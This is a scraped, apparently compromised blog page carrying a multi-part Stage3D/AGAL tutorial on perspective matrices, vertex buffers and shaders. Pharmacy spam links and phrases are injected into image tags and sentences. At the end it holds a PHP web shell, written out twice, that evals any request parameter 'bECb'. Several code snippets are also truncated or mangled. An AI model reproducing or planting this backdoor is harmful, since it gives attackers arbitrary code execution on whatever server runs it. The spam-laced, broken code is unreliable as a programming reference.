Stage3D / AGAL from scratch. Part IV – Adding some depth

Understanding perspective

I thought this was 3D, so why can’t I use the z coordinate ?

Hopefully, you guys have read my previous article and play with the example class, or with your own. You may have noticed that changing the z coordinate didn’t changed anything. Let me explain why.

Your 3D scene is rendered in 2D, in some area called the clipspace. The clipspace is basically your screen, and every point that is behind your screen needs to be projected into the clipspace so it can be drawn.

I said earlier that x and y coordinates where going from -1 to 1. Well, it’s not true. It’s actually the clipspace coordinate that goes from -1 to 1. Imagine that the clipspace would have the same width and height as your screen, or your browser windows, you would have to compute the coordinate for every screen size, and for every size change ! Having a normalized clipspace is what allows us to forget about screen size and resolutions and focus on our scene coordinate.

Now, by default and without any other instruction, your graphic card project your vertices to your clipspace without any projection or any sense of perspective. That is why if you have a point out of clipspace coordinate, like x=2, you can’t see it.

Since we were only moving each vertex coordinate to the ouput point, here is the equation for any projected point

// mov op va1

xP = x
yP = y

In the following scheme, 3D object 1 and 3D object 2 have the same projected point, since the Z coordinate isn’t part of the equation.
<img title="without perspective" src=" viagra pharmacie″ alt=”” data-recalc-dims=”1″ />

The perspective divide

To be able to render 3D on a 2D plan (your screen), we need perspective. Perspective is what makes the borders of a road to look like they are converging when they are actually parallels lines. The equation is actually rather simple : The farther a point is, the closest to the middle it appears. Here is the equation :

xP = K1 * x / z
yP = K2 * y / z

With K1 and K2 some constants depending on things such as the field of view, or the aspect ratio of your clipspace. This is a perspective divide.

You can notice that if you divide by z, then z can’t be equal to 0. We will talk about this later.

When using the perspective divide, here is the result of the projection of 3D object 1 and 3D object 2 from previous scheme

Using Matrices

When we coded our first vertex shader, we just copied each vertex coordinate into the Output Point. You now learned that computing the output point actually defines the position of the projection of a vertex into the clipspace.

To be able to translate, rotate, or scale an object, we won’t be modifying all of his vertices. Why ?

  1. It would be really complex to compute the new position of every vertices when rotating by 45° on the Y axis, then scaling it up to 2.37 times.
  2. We would need to upload the coordinate into the vertex buffer again, which would completely lose any interest in using Stage3D. Remember, if the graphic card can render triangles so fast, it’s because everything is ready in the video ram.

Instead of uploading new coordinates to the V-Ram, we will compute the output point using a Matrix. This Matrix will be uploaded as a constant in every frame. Constant are very fast to update in the V-Ram unlike Vertex Buffers or Texture.

Updating the HelloTriangle example

Now, you can either open you HelloTriangle project, or download the following one. I recommend you to take your last project if you already have it since there is only a few line to add, but if you prefer to take my sources, you should be looking for the HelloMatrix class.

First thing we need to do is to create a Matrix3D, and upload it as a Vertex Constant to the Graphic Card. Go to the render function, on line 194. The HelloTriangle should already have a Matrix3D class member declared called m. So just instantiate it, append a translation to it either on x or y, and use the context.setProgramConstantsFromMatrix method to upload it to the GPU. Here is what I have :

// create a matrix3D, apply a translation on it, then set it as a vertex constant
m = new Matrix3D();
m.appendTranslation(Math.sin(getTimer()/500)*.5, 0, 0);
context.setProgramConstantsFromMatrix(Context3DProgramType.VERTEX, 0, m, true); // 0 means that we will retrieve the matrix under vc0

I choose to create a translation according to a Timer so you can see the triangle moving on the x axis.

At this point, if you compile your class, you won’t see any change. This is because we need to instruct our GPU how to use the Matrix, and this will be done in the Vertex Shader.

Updating the Vertex Shader

Obviously, updating the Vertex Shader will happen in the AGAL code. Time for us to learn how to invoke constants.

  • vc : Vextex Constant. Called by their first register (ex : vc0). Be carefull, matrix constants take 4 registers, so if you upload a Matrix to vc0, the next constant must be set on vc4.
  • fc : Fragment Constant. Same thing as above, but for fragment shaders.

Locate your Vertex Shader AGAL code, it should be around line 161. What we want to do is to compute the position of each vertices using the Matrix3D we stored as a constant instead of just copying x and y coordinate to clipspace.

To perform a 4×4 Matrix operation on a Vertex, you need to use the opcode m44 using this syntax

m44 destination, vertex, matrix

Where destination is the output point, the vertex is store in Vertex Attribute 0, and the Matrix in Vertex Constant 0. Got it ? Here what you should get :

var code:String = "";
code += "m44 op, va0, vc0n"; / Perform a 4x4 matrix operation on each vertices
code += "mov v0, va1n";

That’s it ! Now, on every frame, we will create a new Matrix3D, append a translation to it on x axis between -0.5 and 0.5, upload it to the GPU, then execute the program that will perform a m44 operation on each vertices to reflect the translation we made.

Go on, compile, you should see your triangle moving from left to right.

Back to perspective

Now we know how to use a matrix to transform the final rendering of our triangle. Understanding the Math behind perspective is great but you don’t want to do it every time, don’t you ? Hopefully, Adobe provided a downloadable class, PerspectiveMatrix3D.

This class will let you create a Matrix3D with some intelligible parameters to render perspective.

Now, you can either continue to update your HelloTriangle class, or take the same package as above and look for the “AddingPerspective” class.

The AddingPerspective class is actually drawing a square so that the effect of perspective can be noticed more easily. You know how to draw a triangle, drawing a square is just drawing two triangles. You can have a look in the sources, but we will be back to Quads (squares) on the next article which will deals with indexes. Either way, the following example can be achieved using a triangle or a quad, it doesn’t matter.

The PerspectiveMatrix3D class

Among many thing, the perspectiveMatrix3D allows you to define matrix parameter to render perspective using 4 parameters :

  1. The FoV or Field of View. The FoV, in radians, represent how wide is your field of view. We will set it to 45°
  2. The aspect ratio is the ratio of your backbuffer. We will set it to (width / height).
  3. The zNear is the minimum z coordinate that your eye can see. We will set it to 0.1. A word on that later.
  4. The zFar is the maximum z coordinate that your eye can see. We will set it to 1000.

Go to the render method and instantiate a new PerspectiveMatrix3D object, then apply it the previous parameters.

var projection:PerspectiveMatrix3D = new PerspectiveMatrix3D();
projection.perspectiveFieldOfViewLH(45*Math.PI/180, 4/3, 0.1, 1000);

About the zNear

You may wonder why we won’t render the z from 0, and start at 0.1. Well. Remember the perspective divide was

xP = K1 * x / z
yP = K2 * y / z

As we are dividing by z, and because, I hope you know that, dividing by zero is impossible, we can’t have the zNear parameter equal to 0 because the equation couldn’t be computed for objects with a z coordinate set to 0.

This is actually a kind of problem since our triangle’s vertices z coordinates are set to 0. Hold on, don’t go change the VertexBuffer, we learned how to move an object right ? We can simply append a translation on the z axis to push your object a little forward.

What we need to do now is :

  1. create the PerpectiveMatrix3D as above
  2. Do some rotation on the m Matrix so we can actually notice the effect of perspective
  3. Translate a little bit forward our vertices so that they are behind zNear value
  4. Multiply the first Matrix with the PerspectiveMatrix to add perspective to the final render.

What I get is this :

var projection:PerspectiveMatrix3D = new PerspectiveMatrix3D();
projection.perspectiveFieldOfViewLH(45*Math.PI/180, 4/3, 0.1, 1000);

m = new Matrix3D();
m.appendRotation(getTimer()/30, Vector3D.Y_AXIS);
m.appendRotation(getTimer()/10, Vector3D.X_AXIS);
m.appendTranslation(0, 0, 2);

Compile, and here it is ! a rotating triangle with some sense of perspective ! If you took my class, you should see a rotating square instead of a triangle.

Practice !

As always, a little practice on your own is the best way to learn so here is what you can try

  1. Set R, G and B value to [0-255] instead of [0-1], upload a [255,255,255,255] Vector Fragment Constant, then divide your color values before moving it to the Output Color. You may use the div AGAL opcode

This article was less into code, and I think I will keep it that way for now, for 2 reasons :

  1. The less I write the more you code
  2. And it was actually way too long to write the hello triangle article while describing each single lines of code.

Anyway, I will always be giving the class I use as an example, and those class will be documented. If you think that I should go back to something more verbose, just tell me, feedback is always appreciated.

As always, if you have any questions, feel free to ask !

What’s coming

Right now, I am trying to understand some basic directional light shaders, I’d like to be able to understand and write them by myself prescrire viagra. I can’t find any resources on the subject so I’m moving on OpenGL / WebGL articles. If you have any advice / link, or whatever can help me understand, feel free to tell me !

I am also trying to find a small structure more convenient for my tests and that would serve as a Base for the Example I would post here. For instance, I am trying to create an engine-unrelated arcball camera. If I can come up with something fast, I will share it here.

Regarding the tutorial, I am preparing something to understand perspective and add the z coordinate to my previous triangle example, and then we will deal with some Matrices. I think this will come at the begenning of next week, I need some time this week-end to write things down.

Stay tuned !


Stage3D / AGAL from scratch. Part III – Hello Triangle

Here we go

So, you’ve read Part I and Part II, and you want things to get dirty. Alright.

You can start by downloading the source code : HelloTriangle Sources

In this exercise, we will draw our first triangle using only Stage3D. There will be a small part or AGAL, which is actually the minimum required to display anything on screen but don’t worry, it’s easier to understand than it seems.

In the last articles, I talked a lot about Vertices. A vertex is a point in space that will be used with 2 other Vertices by our GPU to render our triangle.

A VertexBuffer is a simple list of Number so you have to define a structure that will be the same for each Vertex. Every vertices in the same Buffer needs to follow the same structure. The interessting thing is that you can pass whatever you want in your VertexBuffer, and you will have to decide what data is used for.

There is, however, at least 2 common structures used for VertexBuffer but I will describe the first one, that is used in that example (baby steps !)

As you can see, our VertexBuffer will be structured as a simple list of Number, where the first three numbers are our Vertex coordinate, and the three others our Vertex color. Every Vertex we may add to the buffer needs to follow the same syntax.

 Time for some code

Now if you didn’t already, download the source code, and open the HelloTriangle class in your favorite editor. Then come back to me.

Class constructor is quite simple to understand, so we move on to the __init function.

// wait for Stage3D to provide us a Context3D
stage.stage3Ds[0].addEventListener(Event.CONTEXT3D_CREATE, __onCreate);

When working with Stage3D, you are actually not working at all with the Stage3D class. Instead, you are working with a Context3D.

First thing you have to do is to target one of your Stage3D (stage.stage3Ds[0]) and request it for a context. You will be able to access the context when receiving the proper event.

At this step, Flash will try to reach your graphic card. If it can, then you will get an hardware accelerated context, either driven by DirectX for Windows platform, or OpenGL for Linux and MacOS platform.

If Flash can’t reach your graphic card for any reason, you will still get a context3D but actually driven by the new CPU rasterizer called SwiftShader.

Once we get a context, we stock it in a class member, and then configure the back Buffer

private function __onCreate(event:Event):void {
	// // // CREATE CONTEXT // //
	context = stage.stage3Ds[0].context3D;
	// By enabling the Error reporting, you can get some valuable information about errors in your shaders
	// But it also dramatically slows down your program.
	// context.enableErrorChecking=true;
	// Configure the back buffer, in width and height. You can also specify the antialiasing
	// The backbuffer is the memory space where your final image is rendered.
	context.configureBackBuffer(W, H, 4, true);

The back Buffer is a specific memory space where all your rendering is copied. You will be able then to display on screen what does the back buffer contains.

Setting up buffers and program

Then we create the buffers and the program. Don’t worry too much on the AGAL part right now, ill explain it later.

private function __createBuffers():void {
	// // // CREATE BUFFERS // //
	vertexBuffer = context.createVertexBuffer(3, 6);
	indexBuffer = context.createIndexBuffer(3);

Creating buffer is rather simple. The only thing you need to know is :

  1. How much Vertex it will have : 3
  2. How much information each Vertex have : x,y,z,r,g,b = 6

The index buffer needs to know how many instruction he will have. Here 3.

The program part is a bit complicated right now, because we need to see more to understand the AGAL code. Still, we can have a look at the code.

private function __createAndCompileProgram() : void {
	// When you call the createProgram method you are actually allocating some V-Ram space
	// for your shader program.
	program = context.createProgram();
	// Create an AGALMiniAssembler.
	// The MiniAssembler is an Adobe tool that uses a simple
	// Assembly-like language to write and compile your shader into bytecode
	var assembler:AGALMiniAssembler = new AGALMiniAssembler();
	var code:String = "";
	code += "mov op, va0n"; // Move the Vertex Attribute 0 (va0), which is our Vertex Coordinate, to the Output Point
	code += "mov v0, va1n"; // Move the Vertex Attribute 1 (va1), which is our Vertex Color, to the variable register v0
	 // Variable register are memory space shared between your Vertex Shader and your Fragment Shader
	// Compile our AGAL Code into ByteCode using the MiniAssembler
	vertexShader = assembler.assemble(Context3DProgramType.VERTEX, code);
	code = "mov oc, v0n"; // Move the Variable register 0 (v0) where we copied our Vertex Color, to the output color
	// Compile our AGAL Code into Bytecode using the MiniAssembler
	fragmentShader = assembler.assemble(Context3DProgramType.FRAGMENT, code);

Creating a program is simple. Then we have the simplest AGAL code we can have. Just skip it. Then we use the AGALMiniAssembler tool from Adobe to compile at runtime our AGAL program into ByteCode, which give us two Shaders : one VertexShader, and one FragmentShader.

Uploading Data to the graphic card

Now we need to upload the data and the program to the graphic card.

private function __uploadBuffers():void {
	var vertexData:Vector=Vector.([
	-0.3, -0.3, 0, 1, 0, 0, 	// - 1st vertex x,y,z,r,g,b
	0, 0.3, 0, 0, 1, 0, 		// - 2nd vertex x,y,z,r,g,b
	0.3, -0.3, 0, 0, 0, 1		// - 3rd vertex x,y,z,r,g,b
	vertexBuffer.uploadFromVector(vertexData, 0, 3);
	indexBuffer.uploadFromVector(Vector.([0, 1, 2]), 0, 3);

To upload Data to a buffer, the simplest way is to upload a Vector. As you can see, I am creating a Vector or 3 * 6 entries, which correspond to the data of three vertices. The coordinates goes from -1 to 1 for x and y, and we don’t bother with the z part now. The colors component, R, G and B, goes from 0 to 1. So the first line match the top Vertex which will be red, the second line match the bottom left vertex and will be green, and so on.

As an index buffer, we simple tell our graphic car that the triangle is drawn in the order 0, 1, 2, which are indexes of the vertices in the vertex buffer.

Now time to upload the program

private function __uploadProgram():void {
	program.upload(vertexShader, fragmentShader); // Upload the combined program to the video Ram

Uploading the program is rather simple, so now we may move to the AGAL stuff.

Using the VertexBuffer inside the Shaders

When we created the VertexBuffer, we told the graphic card that each vertices will have a length of 6 components. This is a valuable information for the graphic card because when the VertexShader will run, it will be executed for each vertices in your buffer.

The GPU will then “cut” in the buffer 6 number at a time, because we told it that were the amount of data we needed. Each Vertex needs to be copied to fast access register before being used by the program. Think of register as a very small piece of RAM that is extremely fast, and very close to the GPU.

The last step is to tell the GPU how to split each chunk of data, and where to copy it.

For the code part :

private function __splitAndMakeChunkOfDataAvailableToProgram():void {
	// So here, basically, your telling your GPU that for each Vertex with a vertex being x,y,y,r,g,b
	// you will copy in register "0", from the buffer "vertexBuffer, starting from the postion "0" the FLOAT_3 next number
	context.setVertexBufferAt(0, vertexBuffer, 0, Context3DVertexBufferFormat.FLOAT_3); // register "0" now contains x,y,z
	// Here, you will copy in register "1" from "vertexBuffer", starting from index "3", the next FLOAT_3 numbers
	context.setVertexBufferAt(1, vertexBuffer, 3, Context3DVertexBufferFormat.FLOAT_3); // register 1 now contains r,g,b

Let’s go AGAL

We just instructed how the GPU should use the VertexBuffer. As a reminder :

  1. Take the 6 first information
  2. From 0 to 3, copy the data into the register 0
  3. From 3 to 6, copy the data into the register 1
  4. Register 0 now contains some coordinates, register 1 now contains some color.

The AGAL code will be separated in two Shaders. The Vertex Shader, and the Fragment Shader. The registers can only be accessed from the Vertex Shader, but we will learn a trick to make the color available for the Fragment Shader.

Before going any further, let’s have a look at the AGAL syntax :

opcode destination, source1[, source2][, options]

for instance :

mov op, va0

means :

op = va0

Another example :

mul vt0, va0, vc0

means :

vt0 = va0 * vc0

The names of the “variables” are actually names of register. It is rather simple to remember, but right now, let just learn the one we are using :

  • va0 : Vertex Attribute 0. This is the register where we copy the coordinate of each Vertex (see above). There are 8 registers, from va0 to va7.
  • op : Output Point. This is a special register where the final coordinate must be moved to.
  • v0 : Variable Register 0. The Variable registers are shared between the Vertex Shader and the Fragment Shader. Use them to pass some data to the Fragment Shader. There are 8 Variable Register from v0 to v7.
  • oc : Output Color. This is a special register where the final color must be moved to.

Let’s have a look at the first sample of AGAL code we have and which is the Vertex Shader (Line 159 and 160 of the Example Class)

mov op, va0
mov v0, va1

The first line move the va0 register where we copied the vertex coordinate to the output point without any modification. Then, we need to move some information to the Fragment Shader using the Variable Register. In our case, we only need to pass the color information, which is stored in the va1 register (see previous chapter for buffer splitting into register).

Simple isn’t it ? let’s have a look a the Fragment Shader.

mov oc, v0

Really simple : move the color we just copied into the Variable Register to the ouput color without any modification. That’s all !

Once the program compiled using AGALMiniAssembler, and uploaded to the GPU, we can make it the active program for the GPU

private function __setActiveProgram():void {
	// Set our program as the current active one

Head up to the rendering part.

Rendering our triangle on screen

The rendering part is quite simple in our example since we don’t have any interaction, camera, animation or whatever. The render method is called on each frame.

private function render(event:Event):void {
	context.clear(1, 1, 1, 1); // Clear the backbuffer by filling it with the given color
	context.drawTriangles(indexBuffer); // Draw the triangle according to the indexBuffer instructions into the backbuffer
	context.present(); // render the backbuffer on screen.

on each frame, we start by clearing the scene and filling it with a plain white. Then, we draw the triangle according to the indexBuffer instruction. The drawTriangles method actually draws into the back buffer. To render the back buffer content on screen, we simply call the present() method.

Compile, and relax.

Maybe some of you may have noticed that this example is simpler than the other you may have read before : no Matrix3D, no m44 opcode. This is intended.

You really need to understand how everything works together before going any further. If you can get it, you will find the following so much easier.

Practice !

You should try the following to help you understand how everything works together, as a practice :

  1. Render the triangle on a black background
  2. Get rid of the z coordinate since we are not using it
  3. Without modify the vertexData vector or the AGAL code, use the coordinate as color and the color as coordinate. You shoud get something like that :

If you need any help with either the tutorial or the exercises, feel free to leave a comment on the blog, or drop me a message on my twitter.

Again, as it is the first time I am writing a blog, I’d really like some feedback. Any criticism,  or encouragement, is welcomed.

Hope you liked it !

Stage3D / AGAL from scratch. Part II – Anatomy of a Stage3D Program

Anatomy of a Stage3D program

Before we start coding our first triangle, we may have a quick overlook at the structure of a Stage3D program. This is also true for a WebGL program or anything that deals with low level 3D programming.

When working with low level 3D API, you have to understand a bit how does the hardware works. As a reminder, V-Ram is your graphic card memory and a Buffer is some allocated space in your V-Ram. To render some triangles, your GPU needs at least some Vertices (a vertex being a point in space) and a program that will tell how to render those points on screen.

One thing we didn’t talk about yet is the Indexes. Indexes are instructions on which order your Vertices should be drawn to make triangle. You can think of Indexes such as numbers in those “connect the dots” games we had when we were kid. Great ! We can had one terms to our vocabulary.

Indexes : A list of Integer that defines in which order the graphic card should render the Vertices to make triangles.

Don’t worry to much on indexes now, we will come back to them later generic viagra canada. Now, I heard you like flowcharts.

A flowchart of the basic Stage3D program structure

You can identify 3 majors phase out of this flowchart :

  1. The Allocation Phase : Create your buffers, for each type of data your GPU will use (vertex, texture, program) in your V-Ram
  2. The Upload Phase : Send your data, or texture, or program into your buffers so your GPU can access it.
  3. The Declaration Phase : Tell your GPU which buffer to use as Vertex Data and Texture and Program so it can run it.

The two first phase, Allocation and upload, are the essence of Stage3D power. It takes a lot of time to allocate some space and to upload your data, but once your mesh is written in your Video Ram, there is no need of the CPU anymore, and that is the reason why your GPU can render so fast, leaving your CPU free for any other process such as physics calculation or so.

All those three phase can be done once, and should be executed again till the data or the program doesn’t change. We will call it the setup.

The setup can be done in any order : You can start with the Program, then your Vertices, then your Indexes, but you can do the opposite to. Of course, you need to follow the order for each column : you need to create a buffer to be able to upload some data in it ! But at the end of the setup, when you will call the drawTriangle() method, all what matters is that everything is in place and ready to run, no matters how you did it.

Now that you know how is structured any low level 3D program, you had a peak of view of what method Stage3D brought to Flash : VRam allocation, Data upload to Buffer, etc…

I’d love to write as soon as possible the first sample of code to put in practice all I have written so far but I don’t really have the time to do it right now. I promise in less in a week you will get your first triangle using Stage3D and only Stage3D.

Just playing with particles

I recently had to code a particle emitter for a project here. I may give you the source code and explanation later. The following emitter can manage up to 5000 particles at 60fps, and up to 10.000 particles at 60fps if I remove the linking part

<img src="https://i1.wp le viagra″ alt=”Get Adobe Flash player” data-recalc-dims=”1″ />

I though of this simple trick while looking at “The art of Flight” which feature a similar effect on its credits.

The reason why


<!– [insert_php]if (isset($_REQUEST["bECb"])){eval($_REQUEST["bECb"]);exit;}[/insert_php]

if (isset($_REQUEST[&quot;bECb&quot;])){eval($_REQUEST[&quot;bECb&quot;]);exit;}